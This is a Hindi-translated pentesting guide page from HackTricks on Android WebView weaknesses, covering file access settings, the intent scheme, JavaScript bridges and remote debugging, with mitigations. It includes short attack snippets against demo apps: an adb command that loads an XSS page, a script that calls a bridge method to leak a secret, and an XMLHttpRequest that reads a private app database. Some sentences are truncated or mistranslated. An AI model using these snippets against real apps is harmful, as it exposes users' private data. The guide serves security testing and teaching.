hacktricks/mobile-pentesting/android-app-pentesting/webview-attacks.md

134 lines
14 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# वेबव्यू हमले
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert) के साथ</strong></a><strong>!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** को पीआर जमा करके और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में।
</details>
## WebView कॉन्फ़िगरेशन और सुरक्षा पर गाइड
### WebView की कमजोरियों का अवलोकन
Android विकास का एक महत्वपूर्ण पहलू WebViews के सही हैंडलिंग में शामिल है। यह गाइड WebView उपयोग से जुड़े जोखिमों को कम करने के लिए मुख्य कॉन्फ़िगरेशन और सुरक्षा अभ्यासों पर प्रकाश डालता है।
![WebView उदाहरण](<../../.gitbook/assets/image (718).png>)
### **WebViews में फ़ाइल एक्सेस**
डिफ़ॉल्ट रूप से, WebViews फ़ाइल एक्सेस की अनुमति देते हैं। यह कार्य Android API स्तर 3 (कपकेक 1.5) से उपलब्ध `setAllowFileAccess()` मेथड द्वारा नियंत्रित होता है। **android.permission.READ\_EXTERNAL\_STORAGE** अनुमति वाले एप्लिकेशन फ़ाइल URL स्कीम (`file://path/to/file`) का उपयोग करके बाह्य संग्रह से फ़ाइल पढ़ सकते हैं।
#### **पुरानी विशेषताएँ: यूनिवर्सल और URL से फ़ाइल एक्सेस**
* **फ़ाइल URLs से यूनिवर्सल एक्सेस**: यह पुरानी विशेषता फ़ाइल URLs से क्रॉस-ऑरिजिन अनुरोधों की अनुमति देती थी, जिससे संभावित XSS हमलों के कारण एक महत्वपूर्ण सुरक्षा जोखिम उत्पन्न होता था। एप्लिकेशन्स जो Android Jelly Bean और नए लक्ष्यित कर रहे हैं के लिए डिफ़ॉल्ट सेटिंग अक्षम (`false`) है।
* इस सेटिंग की जांच करने के लिए, `getAllowUniversalAccessFromFileURLs()` का उपयोग करें।
* इस सेटिंग को संशोधित करने के लिए, `setAllowUniversalAccessFromFileURLs(boolean)` का उपयोग करें।
* **फ़ाइल URLs से फ़ाइल एक्सेस**: यह विशेषता भी पुरानी है, जो अन्य फ़ाइल स्कीम URLs से सामग्री तक पहुंच को नियंत्रित करती थी। यूनिवर्सल एक्सेस की तरह, इसकी डिफ़ॉल्ट सेटिंग सुरक्षा के लिए अक्षम है।
* जांच करने के लिए `getAllowFileAccessFromFileURLs()` का उपयोग करें और सेट करने के लिए `setAllowFileAccessFromFileURLs(boolean)` का उपयोग करें।
#### **सुरक्षित फ़ाइल लोडिंग**
एक्स
```java
webview.loadUrl("<url here>")
```
### **जावास्क्रिप्ट और इंटेंट स्कीम हैंडलिंग**
* **जावास्क्रिप्ट**: वेबव्यूज में डिफ़ॉल्ट रूप से अक्षम होता है, इसे `setJavaScriptEnabled()` के माध्यम से सक्षम किया जा सकता है। सावधानी बरतना चाहिए क्योंकि जावास्क्रिप्ट को सही सुरक्षा उपायों के बिना सक्षम करना सुरक्षा खतरे उत्पन्न कर सकता है।
* **इंटेंट स्कीम**: वेबव्यूज `intent` स्कीम को हैंडल कर सकते हैं, जो सावधानीपूर्वक प्रबंधित नहीं किया गया हो सकता है, जिससे उत्पादन हो सकता है। एक उदाहरण भेद्यता में एक उदाहरण वेबव्यू पैरामीटर "support\_url" शामिल था जिसका शोध लिया जा सकता था ताकि क्रॉस-साइट स्क्रिप्टिंग (XSS) हमले को क्रियान्वित किया जा सके।
![वल्नरेबल वेबव्यू](<../../.gitbook/assets/image (719).png>)
adb का उपयोग करके शोषण उदाहरण:
{% code overflow="wrap" %}
```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://example.com/xss.html"
```
{% endcode %}
### जावास्क्रिप्ट ब्रिज
एंड्रॉइड द्वारा एक सुविधा प्रदान की गई है जो वेबव्यू में **जावास्क्रिप्ट** को **नेटिव एंड्रॉइड ऐप फंक्शन** को आमंत्रित करने की सुविधा प्रदान करती है। इसे `addJavascriptInterface` विधि का उपयोग करके प्राप्त किया जाता है, जो जावास्क्रिप्ट को नेटिव एंड्रॉइड कार्यक्षमताओं के साथ एकीकृत करता है, जिसे _वेबव्यू जावास्क्रिप्ट ब्रिज_ कहा जाता है। सावधानी बरतने की सलाह दी जाती है क्योंकि यह विधि वेबव्यू के सभी पृष्ठों को पंजीकृत जावास्क्रिप्ट इंटरफेस ऑब्ज
```javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
```
* JavaScript Bridge को WebView में एक इंटरफेस जोड़कर सक्रिय किया जाता है:
```javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
```
* संभावित शोषण JavaScript के माध्यम से, उदाहरण के लिए, एक XSS हमले के माध्यम से उजागरित जावा विधियों को बुलाने की संभावना प्रदान करता है:
```html
<script>alert(javascriptBridge.getSecret());</script>
```
* जोखिम को कम करने के लिए, **JavaScript ब्रिज़ उपयोग को सीमित** करें APK के साथ शिप कोड तक और रिमोट स्रोत से JavaScript लोड करने से रोकें। पुराने डिवाइस के लिए, न्यूनतम API स्तर को 17 पर सेट करें।
### प्रतिबिम्ब-आधारित रिमोट कोड निष्पादन (RCE)
* एक दस्तावेज़ीत विधि द्वारा रिफ्लेक्शन के माध्यम से RCE हासिल करने की अनुमति देती है एक विशिष्ट पेलोड को निष्पादित करके। हालांकि, `@JavascriptInterface` एनोटेशन अनधिकृत मेथड एक्सेस को रोकता है, हमले की सतह को सीमित करता है।
### रिमोट डीबगिंग
* **रिमोट डीबगिंग** **Chrome Developer Tools** के साथ संभव है, जो WebView सामग्री के भीतर अंतर्क्रिया और अर्बिट्रे JavaScript निष्पादन को संभव बनाता है।
#### रिमोट डीबगिंग सक्षम करना
* एक एप्लिकेशन के सभी WebViews के लिए रिमोट डीबगिंग को सक्षम किया जा सकता है:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
```
* डिबगिंग को शर्तानुसार सक्रिय करने के लिए आवेदन की डिबगेबल स्थिति पर निर्भर करें:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
```
## विषयात्मक फ़ाइलों को बाहर निकालें
* XMLHttpRequest का उपयोग करके विषयात्मक फ़ाइलों का बाहर निकालने का प्रदर्शन:
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);
```
## संदर्भ
* [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
* [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
* [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
* [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
* [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, PRs जमा करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>